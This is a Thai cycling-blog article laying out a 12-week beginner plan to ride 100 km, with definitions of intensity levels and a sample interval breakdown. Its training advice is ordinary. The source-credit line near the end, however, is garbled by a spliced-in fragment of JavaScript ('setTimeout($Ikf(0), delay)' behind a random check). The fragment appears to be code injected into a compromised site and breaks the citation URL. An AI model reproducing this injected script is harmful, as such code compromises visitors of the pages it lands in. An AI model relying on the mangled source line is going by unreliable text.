• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

มือใหม่วัดใจ ฝึกปั่น 100 โล

stepextra by stepextra
6 September 2016
in Cycling Tips, Feature, Tips & Technics
0
มือใหม่วัดใจ ฝึกปั่น 100 โล
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

มือใหม่วัดใจ ฝึกปั่น 100 โล

สรรหารูปแบบฝึกซ้อมมาใหม่นักปั่นมือใหม่เเต่ใจเกินร้อยมาทดลองฝึกปั่นกันดูกับ ตารางฝึก “พิชิต 100 กิโลเมตร ภายใน 12 สัปดาห์”เเต่ก่อนจะลงมือปั่น เรามาทำความรู้จักกับคำศัพท์ที่ใช้ในตารางกันก่อนนะครับ

ฺ1.Base ride คือการปั่นในระดับธรรมดา ใช้สำหรับการ warm up และ cool down ไปในตัวด้วย หากเเบ่งระดับความเข้มข้นในการปั่นออกเป็น 10 ระดับ การปั่นเเบบ base จะอยู่ที่ระดับ 5 ครับ

2. Tempo คือการปั่นในระดับที่สูงกว่า Base ขึ้นมานิดหน่อย เเต่ยังทดได้ สามารถประคองไปจนจบรอบการปั่น สำหรับใครที่เป็นนักวิ่งมาก่อนคงจะคุ้นเคยกันดี เป็นการเพิ่มความเร็วขึ้นมาจากระดับที่เราปั่นธรรมดา ซึ่งจะอยู่ราวๆ ระดับ 7 ครับ

3. Threshold จะอยู่ในระดับ 8-9 สูงกว่า tempo เราอาจจะประคับประคองได้ไม่นาน สังเกตง่ายๆ ได้ว่า HR เราจะเข้าสู่โหมด Anaerobic เมื่อปั่นในระดับนี้

4. Max ระดับการปั่นที่ใส่หมดทุกอย่าง จินตนาการว่าคือ final sprint ระยะ 100 เมตรสุดท้ายก่อนเข้าเส้นชัย ระดับอยู่ที่ 10 เลยครับ

5. Core คือการฝึก Strength training ฝึกกล้ามเนื้อช่วง core ให้เเข็งเเรง ตัวอย่างเช่น….

6. Spinning คือการฝึกปั่นควงขา ใช้เกียร์เบาควงขาเร็ว ในการฝึกนี้อาจจะใช้เพื่อการ recovery ไล่เลือดเเละของเสียออกไปจากกล้ามเนื้อ

7. Long ride คือการปั่นระยะยาว อาจจะให้ HR อยู่ในช่วง Fat burn หรือต้นๆ ของโซน Aerobic

ว่าเเล้วเราไปดูตารางการฝึก 12 สัปดาห์นี้กันเลย……

100k cycling1

สังเกตว่าในช่วง 1-3 สัปดาห์เเรกจะมีหัวข้อว่า Build นั้นหมายถึงการฝึกเพื่อสร้างพื้นฐาน สร้างความอึด สร้างพละกำลังให้ร่างกาย เเละเมื่อเข้าช่วงวัปดาห์ที่ 4 จะเข้าสู่โหมด Recovery ให้ร่างกายได้พักผ่อน

100k cycling2

ในตาราง “ฝึกปั่น 100 โล” เพื่อนๆ อาจจะมีคำถามว่า “1hr 30min base ride with 2*25min efforts (15min tempo, 10min threshold)” คืออะไร แปลว่าอะไร…แปลง่ายๆ ครับว่าในการฝึกนี้ใช้เวลาทั้งหมด 1 ชั่วโมง 30 นาที และในการฝึกนี้จะต้องมีการปั่นเเบบ tempo 15 นาที และ ระดับ threshold อีก 10 นาที ทำซ้ำ 2 เซต ซึ่งเราอาจจะเเบ่งการปั่นเป็นแบบ…

1hr 30min

  • 10min base
  • 15min tempo
  • 5min base
  • 10min threshold
  • 10min base
  • 15min tempo
  • 5min base
  • 10min threshold
  • 10min base

ส่วนใครจะขึ้นรูปแบบการฝึกสัปดาห์ใหม่แล้วรู้สึกว่ายังยากเกินไปก็ให้ฝึกซ้ำสัปดาห์เก่าไปก่อนเเล้วค่อยขึ้นการฝึกในสัปดาห์ต่อไป

100k cycling3

ในส่วนของคำว่า High gear ride หมายถึงการปั่นที่ใช้เกียร์สูงขึ้น ระดับอาจจะมากกว่าการปั่นเเบบ tempo หรือที่เดียวกันเเต่เน้นการทำความเร็ว และอย่างลืมทำการยืดคลายเส้นทุกครั้งที่จบการปั่นนะครับ

ที่มา..andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-fitness/training-plans/b/weblog/archive/2015/02/16/12-week-novice-100km-training-plan.aspx?utm_source=Pinterest&utm_medium=Pinterest%20Post&utm_campaign=a”>thecyclingbug.co.uk

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.